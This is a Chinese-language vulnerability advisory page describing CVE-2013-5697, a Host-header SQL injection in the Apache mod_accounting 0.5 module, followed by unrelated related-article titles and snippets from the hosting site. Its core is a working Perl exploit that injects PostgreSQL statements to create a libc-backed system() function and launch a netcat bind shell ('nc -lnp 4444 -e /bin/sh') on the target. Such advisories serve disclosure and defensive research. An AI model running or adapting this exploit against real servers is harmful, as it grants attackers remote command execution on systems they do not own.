漏洞版本:

mod_accounting 0.5

漏洞描述:

BUGTRAQ  ID: 62677
CVE ID: CVE-2013-5697 mod_accounting是Apache 1.3.x上的流量计费模块,该模块使用数据记录流量,支持的数据库类型包括MySQL及PostgreSQL。 mod_accounting 0.5模块在Host报文头中存在SQL注入漏洞,攻击者可利用此漏洞破坏应用,执行未授权数据库操作。该漏洞源于用户提供的HTTP报文头未经过滤即用在查询内。该模块使用了简单的字符串串联来修改已定义查询内的占位符,然后再发送到数据库内。该代码位于mod_accounting.c内。

测试方法:

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
  1. #!/usr/bin/perl
  2. # PoC of blind SQL injection in the mod_accounting/0.5 Apache module
  3. # Injection can occur via the Host header
  4. # As the injection occurs in a user defined insert statement a bit of trial
  5. and error is required
  6. # Database operations occurs asyncronous to page response so timing attacks
  7. wont work
  8. # This one is completely blind
  9. # DB can be mysql or postgres, this PoC only covers postgres
  10. # PoC executes netcat to listen on port 4444 (requires dba privileges)
  11. use IO::Socket::INET;
  12. print"#----------------------------------------------#\n";
  13. print"| mod_accounting/0.5 PoC exploit by \ () Wireghoul |\n";
  14. print"| www.justanotherhacker.com |\n";
  15. print"#----------Command execution via SQLi----------#\n";
  16. print"[*] Enumerating blind injection vectors:\n";
  17. my@endings=("'));",'"));',"));","');",'");',");","';",'";',";");
  18. # These should terminate most insert statements
  19. #my @endings = ( "');" );
  20. my $shell ='nc -lnp 4444 -e /bin/sh';
  21. my $cnt =0;
  22. my $content ="CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
  23. '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('$shell');";
  24. foreach $end (@endings){
  25. $cnt++;
  26. my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]")ordie"Unable to
  27. connect to $ARGV[0]:$ARGV[1]: $!\n";
  28. my $str ="GET / HTTP/1.1\r\nHost: $ARGV[0]$cnt$end $content --
  29. \r\n\r\n";# from mysql.user into outfile '/tmp/pocpoc$cnt.txt'; --
  30. \r\n\r\n";
  31. print "[-]Trying $end\n";
  32. print $sock $str;
  33. #print "Sent $end\n";
  34. close ($sock);
  35. }
  36. print "[*]Done, remote server should have executed $shell\n";

Sebug安全建议:

临时解决方法:

该模块已经不再提供支持,可以根据需要,停止使用该模块。

厂商补丁:

mod_accounting
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://sourceforge.net/projects/mod-acct/files/

Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)的更多相关文章

  1. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  2. PHPCMS 2008 SQL注入漏洞

    漏洞版本: PHPCMS 2008 漏洞描述: escape()方法无法过滤$genre变量进行二次URL编码,导致SQL注入漏洞产生. <* 参考 http://www.yunsec.net/ ...

  3. WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞

    漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...

  4. WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞

    漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...

  5. RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具

    无事早上就去逛freebuf看到一款不错的工具,打算介绍给大家 RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具 RED HAWK 最新版本:v1.0.0[2017年6月11日] 下 ...

  6. Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴

    本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...

  7. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  8. SQL 注入漏洞

    首先要知道sql注入形成的原因:用户输入的数据被sql解释器执行 sql注入又分:数字型,字符型,cookie 注入,post注入,延时注入,搜索注入,base64注入 如何甄别一个模块是否有sql注 ...

  9. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

随机推荐

  1. SetTimer的使用

    SetTimer函数用于创建一个计时器,KillTimer函数用于销毁一个计时器.计时器属于系统资源,使用完应及时销毁. SetTimer的函数原型如下:UINT_PTR SetTimer( HWND ...

  2. TCP调试助手

    网络开发经常要用到一些TCP&UDP的调试工具,搜集一些备用. 目前总结工具有(不分先后): chrome等自带调试器调试HTTP Fiddler(.NET)和Charles debugger ...

  3. xcode插件安装完之后无法使用问题解决

    1.打开xcode插件所在的目录: 例如: ~/wangdi/library/Application Support/Developer/Shared/Xcode/Plug-ins /Users/su ...

  4. java时间格式大全

    java.util.*;import java.text.*;import java.util.Calendar; public class VeDate { /**  * 获取现在时间  *   * ...

  5. Q105971:Converting a Regular GUID to a Compressed GUID

    Quote from:  http://flexerasoftware.force.com/articles/en_US/INFO/Q105971 Synopsis   The Windows Ins ...

  6. 九度OJ 1451 不容易系列之一 -- 动态规划

    题目地址:http://ac.jobdu.com/problem.php?pid=1451 题目描述: 大家常常感慨,要做好一件事情真的不容易,确实,失败比成功容易多了! 做好“一件”事情尚且不易,若 ...

  7. js之封装sort实现json格式数据的排序

    eg  : data:{[ {"name":"paul","ege":12}, {"name":"paul&q ...

  8. 跨域技术-jsonp

    JSONP是JSON with padding 的简写,其有两个部分组成,一个是回调函数,一个是数据,其基本格式如下 function handleResult(result){ alert(resu ...

  9. html5有什么布局标签

    header h1 nav ul li a section(id) div h3 article figure img article h4 header time datetime='' body ...

  10. yii2单独给input或者其他标签定义class

    <?= $form->field($model, 'price5', ['options' => ['class' => 'col-sm-6']])->textInput ...